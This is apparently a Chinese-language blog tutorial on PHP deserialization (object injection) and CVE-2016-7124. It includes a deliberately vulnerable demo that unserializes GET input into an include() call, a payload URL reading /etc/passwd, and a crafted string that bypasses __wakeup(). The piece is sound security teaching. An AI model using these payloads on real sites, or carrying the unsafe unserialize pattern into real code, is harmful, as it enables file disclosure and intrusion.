反序列化漏洞在各种语言中都较为常见,下面就简单聊一聊PHP的反序列化漏洞(PHP对象注入)。第一次了解这个洞还是在某次ctf上,就简单记录下个人理解以及对CVE-2016-7124的简单分析。

序列化与反序列化

php允许保存一个对象方便以后重用,这个过程被称为序列化,序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。先看一眼具体什么样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class info {
public $name = 'church';
public $phone = '111111';
public function printdata() {
echo $this->name . '\'s phone is ' . $this->phone;
}
}
$usr = new info();
$usr->printdata();
echo serialize($usr);
?>

此时输出

1
2
church's phone is 111111
O:4:"info":2:{s:4:"name";s:6:"church";s:5:"phone";s:6:"111111";}

可以看到其中没有任何跟类有关的东西,只有其中的数据被数据化。

1
2
3
4
O:4:"info":2:{s:4:"name";s:6:"church";s:5:"phone";s:6:"111111";}
O:4:"info":2: 参数类型为对象(object),数组(array)为a。类名为info,有两个变量(参数
s:4:"name";s:6:"church"; s:变量类型为字符串(数字为i),长度为4,名为name,值是长度为6的字符串church
s:5:"phone";s:6:"111111"; 长度为5的字符串phone,值是长度为6的字符串111111

反序列化是将序列化后的字符串转换回一个数组对象。由于对象实例化和自动加载,反序列化可能会导致代码被加载并被执行。再看一下反序列化

1
2
3
4
5
6
<?php
...
$usr = unserialize('O:4:"info":2:{s:4:"name";s:6:"church";s:5:"phone";s:6:"111111";}');
$usr->printdata();

这时输出

1
church's phone is 111111

反序列化漏洞

现在我们了解了序列化是如何工作的,那我们该如何利用它?因为反序列化对象的值是可控的,如果反序列化对象中存在魔术方法,而且魔术方法中的代码又能够被我们控制,漏洞就产生了,根据不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

影响:Joomla反序列化漏洞SugarCRM v6.5.23 PHP对象注入漏洞WordPress 3.6.1反序列化漏洞等。

魔术方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号”__“开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等。

而这些函数在某些情况下是自动调用的,比如:

__construct当一个对象创建时调用,相反__destruct当一个对象被销毁时调用

__sleep方法在一个对象被序列化时调用,__wakeup方法在一个对象被反序列化时调用

__toString当一个对象被当作一个字符串使用时调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class info {
public $name = 'church';
public function printdata() {
echo $this->name;
}
public function __construct() {
echo '__construct';
}
public function __destruct() {
echo '__destruct';
}
public function __toString() {
return '__toString';
}
public function __sleep() {
echo '__sleep';
return array('name');
}
public function __wakeup() {
echo '__wakeup';
}
}
$usr = new info();
$usr->printdata();
echo $usr;
$serialized = serialize($usr);
echo $serialized;
$unserialized = unserialize($serialized);
$unserialized->printdata();
?>

这时会输出

1
2
3
4
5
6
7
8
9
__construct
church
__toString
__sleep
O:4:"info":1:{s:4:"name";s:6:"church";}
__wakeup
church
__destruct
__destruct

可以很清楚的看到这些魔术函数的自动调用,类似的魔术方法还有很多,这里不再一一列举。

漏洞利用

先看一个简单的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Read{
public $file;
public function __toString() {
if(isset($this->file)) {
include($this->file);
}
}
}
$file = $_GET["file"];
if(isset($file)) {
echo unserialize($file);
}
?>

这个代码调用了Read类,并且有一个file值是我们可以控制的,所以构造类似这样的payload:

1
test.php?file=O:4:"Read":1:{s:4:"file";s:11:"/etc/passwd";}

这时仅需一个GET请求便能读取文件。

CVE-2016-7124

php前一段时间爆了一个漏洞(php bugs 72663 ),当反序列化一个对象时,假如属性发生了变化,就会导致__wakeup()中的return 0不会执行。简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()方法。

影响版本PHP5 < 5.6.25PHP7 < 7.0.10

写了个简单的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class info {
public $name = 'church';
public function __destruct() {
echo '__destruct';
}
public function __wakeup() {
echo '__wakeup';
}
}
//$usr = new info();
//$serialized = serialize($usr);
//echo $serialized;
$unserialized = unserialize($serialized);
?>

正常情况下序列化后$serialized是这样的

1
O:4:"info":1:{s:4:"name";s:6:"church";}

执行之后,结果是这样的

1
2
__wakeup
__destruct

可以看到__wakeup()方法被调用了。

那把$serialized改成下面这个样子

1
O:4:"info":2:{s:4:"name";s:6:"church";}

再次执行之后,看结果

1
__destruct

由于表示对象属性个数的值大于真实的属性个数,很明显__wakeup()方法这次被跳过了。

漏洞实例分析SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析


参考

PHP文档

通过PHP反序列化进行远程代码执行

PHP反序列化漏洞成因及漏洞挖掘技巧与案例